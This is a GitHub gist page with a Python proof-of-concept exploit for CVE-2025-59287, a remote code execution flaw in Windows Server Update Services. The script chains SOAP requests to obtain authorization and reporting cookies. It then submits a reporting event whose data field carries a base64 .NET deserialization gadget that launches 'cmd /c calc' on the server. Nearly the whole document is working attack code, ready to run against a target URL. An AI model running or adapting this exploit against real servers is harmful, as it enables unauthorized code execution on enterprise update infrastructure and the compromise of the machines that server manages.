Last active
November 1, 2025 06:44
-
-
Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.
Revisions
-
hawktrace revised this gist
Oct 22, 2025 . No changes.There are no files selected for viewing
-
hawktrace revised this gist
Oct 22, 2025 . 1 changed file with 1 addition and 1 deletion.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -23,7 +23,7 @@ def get_auth_cookie(target, server_id=None): <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> <clientId>{server_id}</clientId> <targetGroupName></targetGroupName> <dnsName>hawktrace.local</dnsName> </GetAuthorizationCookie> </soap:Body> </soap:Envelope>''' -
hawktrace created this gist
Oct 22, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,232 @@ #!/usr/bin/env python3 import requests import urllib3 import xml.etree.ElementTree as ET from datetime import datetime, timezone import sys import uuid from xml.sax.saxutils import escape urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def get_auth_cookie(target, server_id=None): url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx" headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'} if server_id is None: server_id = str(uuid.uuid4()) soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> <clientId>{server_id}</clientId> <targetGroupName></targetGroupName> <dnsName>exploit.local</dnsName> </GetAuthorizationCookie> </soap:Body> </soap:Envelope>''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) for elem in root.iter(): if 'CookieData' in elem.tag and elem.text: print(f"[+] Using ID: {server_id}") return elem.text except Exception as e: print(f"[-] Auth cookie error: {e}") return None def get_server_id(target): url = f"{target}/ReportingWebService/ReportingWebService.asmx" headers = { 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"', 'Content-Type': 'text/xml' } soap_body = '''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution"> <cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> </GetRollupConfiguration> </soap:Body> </soap:Envelope>''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) for elem in root.iter(): if 'ServerId' in elem.tag and elem.text: print(f"[+] Server ID: {elem.text}") return elem.text except Exception as e: print(f"[-] Server ID error: {e}") fallback_id = str(uuid.uuid4()) print(f"[!] Using fallback ID: {fallback_id}") return fallback_id def get_reporting_cookie(target, auth_cookie): url = f"{target}/ClientWebService/Client.asmx" headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'} timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ') soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService"> <authCookies> <AuthorizationCookie> <PlugInId>SimpleTargeting</PlugInId> <CookieData>{auth_cookie}</CookieData> </AuthorizationCookie> </authCookies> <oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/> <lastChange>{timenow}</lastChange> <currentTime>{timenow}</currentTime> <protocolVersion>1.20</protocolVersion> </GetCookie> </soap:Body> </soap:Envelope>''' try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200: root = ET.fromstring(response.text) cookie_data = {} for elem in root.iter(): if 'Expiration' in elem.tag: cookie_data['expiration'] = elem.text elif 'EncryptedData' in elem.tag: cookie_data['encrypted_data'] = elem.text if 'encrypted_data' in cookie_data: return cookie_data except: pass return None def send_malicious_event(target, cookie): url = f"{target}/ReportingWebService/ReportingWebService.asmx" target_sid = str(uuid.uuid4()) event_instance_id = str(uuid.uuid4()) timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>''' soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution"> <cookie> <Expiration>{cookie['expiration']}</Expiration> <EncryptedData>{cookie['encrypted_data']}</EncryptedData> </cookie> <clientTime>{timenow}</clientTime> <eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]"> <ReportingEvent> <BasicData> <TargetID> <Sid>{target_sid}</Sid> </TargetID> <SequenceNumber>0</SequenceNumber> <TimeAtTarget>{timenow}</TimeAtTarget> <EventInstanceID>{event_instance_id}</EventInstanceID> <NamespaceID>2</NamespaceID> <EventID>389</EventID> <SourceID>301</SourceID> <UpdateID> <UpdateID>00000000-0000-0000-0000-000000000000</UpdateID> <RevisionNumber>0</RevisionNumber> </UpdateID> <Win32HResult>0</Win32HResult> <AppName>LocalServer</AppName> </BasicData> <ExtendedData> <MiscData soapenc:arrayType="xsd:string[2]"> <string>Administrator=SYSTEM</string> <string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string> </MiscData> </ExtendedData> <PrivateData> <ComputerDnsName></ComputerDnsName> <UserAccountName></UserAccountName> </PrivateData> </ReportingEvent> </eventBatch> </ReportEventBatch> </soap:Body> </soap:Envelope>''' headers = { 'Connection': 'Keep-Alive', 'Content-Type': 'text/xml', 'Accept': 'text/xml', 'User-Agent': 'Windows-Update-Agent', 'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', 'Host': target.replace('http://', '').replace('https://', '') } try: response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False) if response.status_code == 200 and 'true' in response.text: return True, event_instance_id, target_sid else: return False, None, None except Exception as e: print(f"[DEBUG] Exception: {e}") return False, None, None def main(): if len(sys.argv) < 2: print("Usage: python HawkTrace.py <target_url>") print("Example: python HawkTrace.py http://192.168.1.100:8530") sys.exit(1) target = sys.argv[1] print(r""" _ _ _ | | | | | | | |__ __ ___ _| | _| |_ _ __ __ _ ___ ___ | '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \ | | | | (_| |\ V V /| <| |_| | | (_| | (_| __/ |_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___| Batuhan Er @int20z CVE-2025-59287 """) print() print("[+] Getting Server ID...") server_id = get_server_id(target) print("[+] Auth cookie with Server ID...") auth_cookie = get_auth_cookie(target, server_id) if not auth_cookie: print("[-] Failed") return cookie = get_reporting_cookie(target, auth_cookie) if not cookie: print("[-] Failed") return print("[+] Sending event with payload...") success, event_id, target_sid = send_malicious_event(target, cookie) if success: print("[+] SUCCESS!") print("[!] RCE will trigger!") else: print("[-] Failed") if __name__ == "__main__": main()